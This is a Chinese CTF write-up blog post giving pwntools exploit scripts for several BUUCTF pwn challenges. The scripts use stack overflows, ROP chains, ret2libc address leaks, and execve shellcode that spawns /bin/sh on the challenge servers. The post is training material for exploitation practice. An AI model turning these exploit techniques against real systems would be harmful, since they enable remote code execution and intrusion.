BUUCTF – PWN WriteUp

vstral 最后更新于 1 天前 1 次阅读 预计阅读时间: 7 分钟


Ubuntu 18 libc:libc6_2.27-0ubuntu3_amd64

rip

from pwn import *
io = remote('node5.buuoj.cn',28846)
context.log_level = 'debug'

payload = b'a' * (0xF + 0x8) + p64(0x40118A)
io.sendline(payload)
io.interactive()

warmup_csaw_2016

from pwn import *
io = remote('node5.buuoj.cn',28247)
context.log_level = 'debug'

io.recvuntil(b'>')
payload = b'a' * (0x40 + 0x8) + p64(0x40060d)
io.sendline(payload)
io.interactive()

ciscn_2019_c_1

发现没开canary,也没开PIE

进入到encrypt函数中发现存在溢出漏洞

可以构建ROP泄露puts和gets函数地址,得到libcbase

但是仍然得到不了shell,而且还给出了报错

经过了解发现是栈没有对齐的原因

from pwn import *
from LibcSearcher import *

io = remote('node5.buuoj.cn',29827)
#io = process('./pwn')
elf = ELF('./pwn')
context.log_level = 'debug'

pop_rdi_ret = 0x400c83
ret=0x4006b9

io.sendlineafter(b'Input your choice!\n',b'1')
payload1 = b'\x00' + b'a'*(0x50-1+8) + p64(pop_rdi_ret) + p64(elf.got['puts']) + p64(elf.plt['puts']) + p64(elf.symbols['main'])
io.sendlineafter(b'Input your Plaintext to be encrypted\n',payload1)
io.recvline()
io.recvline()
puts_addr = u64(io.recvuntil('\n')[:-1].ljust(8,b'\x00'))
print('puts addr >>> ' + hex(puts_addr))

io.sendlineafter(b'Input your choice!\n',b'1')
payload1 = b'\x00' + b'a'*(0x50-1+8) + p64(pop_rdi_ret) + p64(elf.got['gets']) + p64(elf.plt['puts']) + p64(elf.symbols['main'])
io.sendlineafter(b'Input your Plaintext to be encrypted\n',payload1)
io.recvline()
io.recvline()
gets_addr = u64(io.recvuntil('\n')[:-1].ljust(8,b'\x00'))
print('gets addr >>> ' + hex(gets_addr))

libc = LibcSearcher('puts',puts_addr)
libc.add_condition('gets',gets_addr)
libcbase = puts_addr - libc.dump('puts')
binsh = libcbase + libc.dump('str_bin_sh')
system = libcbase + libc.dump('system')

io.sendlineafter(b'Input your choice!\n',b'1')
payload2= b'\x00' + b'a'*(0x50-1+8) + p64(ret) + p64(pop_rdi_ret) + p64(binsh) + p64(system)
io.sendlineafter(b'Input your Plaintext to be encrypted\n',payload2)

io.interactive()

jarvisoj_level2_x64

存在溢出而且没有开保护,而且还有binsh,有system

from pwn import *

io = remote('node5.buuoj.cn',26468)

pop_rdi_ret = 0x4006b3
binsh = 0x600A90

payload = b'a'*0x88 + p64(pop_rdi_ret) + p64(binsh) + p64(0x400603)
io.sendlineafter(b'Input:\n',payload)
io.interactive()

get_started_3dsctf_2016

栈内平衡和外平衡 及例题get_started_3dsctf_2016 – vstral's blog

[HarekazeCTF2019]baby_rop

binsh也有,直接简单溢出返回system

from pwn import *
io = remote('node5.buuoj.cn',26268)
context.log_level = 'debug'

payload = b'a'*0x18 + p64(0x400683) + p64(0x601048) + p64(0x4005E3)
io.sendlineafter(b'What\'s your name? ',payload)
io.interactive()

在/home/babyrop下找到flag

others_shellcode

这里进行了一个系统调用,调用execve

当执行int 0x80时候,eax寄存器的值会被作为系统调用号,而execve的系统调用号就是11

完整的execve系统调用应该是

section .data
    path db '/bin/sh', 0      ; 程序路径(要执行的程序)
    argv db '/bin/sh', 0      ; 参数数组
    envp db 0                 ; 环境变量数组(这里为空)

section .text
    global _start

_start:
    ; 将系统调用号放入 eax
    mov eax, 11              ; sys_execve 系统调用号
    
    ; 将程序路径放入 ebx
    mov ebx, path            ; argv[0](程序路径)
    
    ; 将参数数组放入 ecx
    mov ecx, argv            ; argv
    
    ; 将环境变量数组放入 edx
    mov edx, envp            ; envp
    
    ; 调用系统调用(int 80h)
    int 0x80                 ; 触发系统调用

解释:

  1. mov eax, 11:将系统调用号(execve)加载到 eax 寄存器中。
  2. mov ebx, path:将程序路径(/bin/sh)加载到 ebx 中,作为第一个参数。
  3. mov ecx, argv:将参数数组(argv)加载到 ecx 中,作为第二个参数。
  4. mov edx, envp:将环境变量数组(envp)加载到 edx 中,作为第三个参数。
  5. int 0x80:触发系统调用,执行 execve

execve()系统调用的作用是运行另外一个指定的程序,他会把新程序加载到当前进程的内存空间,当前的进程会被丢弃,他的堆栈和所有的端数据都会被新进程的部分替代,然后开始运行新程序,同时进程ID不变

所以说这里直接nc连接就可以得到shell

not_the_same_3dsctf_2016

gets造成溢出,而且发现有一个getsecret函数

读取了flag.txt文件,但是并没有输出,而是写到了fl4g中

而且需要注意这里是外平栈

因为这里是静态链接,所以可以利用write函数输出它

from pwn import *

io = remote('node5.buuoj.cn',27317)
context.log_level = 'debug'

getsecret = 0x080489A0
write = 0x0806E270
flag = 0x080ECA2D
exit = 0x0804E660
printf = 0x0804F0A0
payload = b'a'*0x2d + p32(getsecret) + p32(write) + b'aaaa' + p32(1) + p32(flag) + p32(45)
io.sendline(payload)
io.interactive()

ciscn_2019_en_2

利用溢出直接ret2libc即可

from pwn import *

io = process('./ciscn_2019_en_2')
io = remote(b'node5.buuoj.cn',25496)
context.log_level = 'debug'
elf = ELF('./ciscn_2019_en_2')
libc = ELF('./libc6_2.27-0ubuntu3_amd64.so')

io.recvuntil(b'Input your choice!\n')
io.sendline(b'1')
io.recvuntil(b'Input your Plaintext to be encrypted\n')

pop_rdi_ret = 0x400c83
ret = 0x4006b9
payload = b'a'*78 + b'bb' + p64(0xdeadbeef) +  p64(pop_rdi_ret) + p64(elf.got['puts']) + p64(elf.plt['puts']) + p64(elf.symbols['encrypt'])

io.sendline(payload)
io.recvuntil(b'll')

#puts addr 
puts_addr = u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
print("puts_addr >>> " + hex(puts_addr))

libcbase = puts_addr - libc.symbols['puts']
system = libcbase + libc.symbols['system']
binsh = libcbase + libc.search(b'/bin/sh').__next__()

payload = b'a'*78 + b'bb' + p64(0xdeadbeef) + p64(ret) + p64(pop_rdi_ret) + p64(binsh) + p64(system)
io.sendlineafter(b'Input your Plaintext to be encrypted\n',payload)

io.interactive()

ciscn_2019_ne_5

在addlog函数中,

对a1变量输入了128个字节,但是a1是指向全局变量src赋值的指针

然后在getflag函数中dest距ebp只有72个字节

所以可以利用addlog函数写入,然后在getflag函数中溢出得到shell,没有binsh可以利用sh

注意是32位系统栈传参

这里我一开始直接跳转到call system函数这个指令的位置,并没有拿到shell

因为call的本质是push call指令的下一条指令到栈中,如果要使用跳转到call,就不用加fake返回地址了

Exp 1:

from pwn import *
io = process('./ciscn_2019_ne_5')
#io = remote(b'node5.buuoj.cn',25496)
context.log_level = 'debug'
elf = ELF('./ciscn_2019_ne_5')
libc = ELF('./libc6_2.27-0ubuntu3_amd64.so')

io.recvuntil(b'Please input admin password:')
io.sendline(b'administrator')
io.sendlineafter(b':',b'1')

system = elf.symbols['system']
system1 = 0x080486B9

print("system :" + hex(system))
sh = 0x080482ea
payload = b'a'*(0x48 + 4) + p32(system1) + p32(sh)
io.sendlineafter(b'info:',payload)
io.sendlineafter(b'Exit\n:',b'4')

io.interactive()

Exp 2:

from pwn import *
io = process('./ciscn_2019_ne_5')
#io = remote(b'node5.buuoj.cn',25496)
context.log_level = 'debug'
elf = ELF('./ciscn_2019_ne_5')
libc = ELF('./libc6_2.27-0ubuntu3_amd64.so')

io.recvuntil(b'Please input admin password:')
io.sendline(b'administrator')
io.sendlineafter(b':',b'1')

system = elf.symbols['system']

print("system :" + hex(system))
sh = 0x080482ea
payload = b'a'*(0x48 + 4) + p32(system) + b'1234' + p32(sh)
io.sendlineafter(b'info:',payload)
io.sendlineafter(b'Exit\n:',b'4')

io.interactive()

此作者没有提供个人介绍
最后更新于 2025-02-04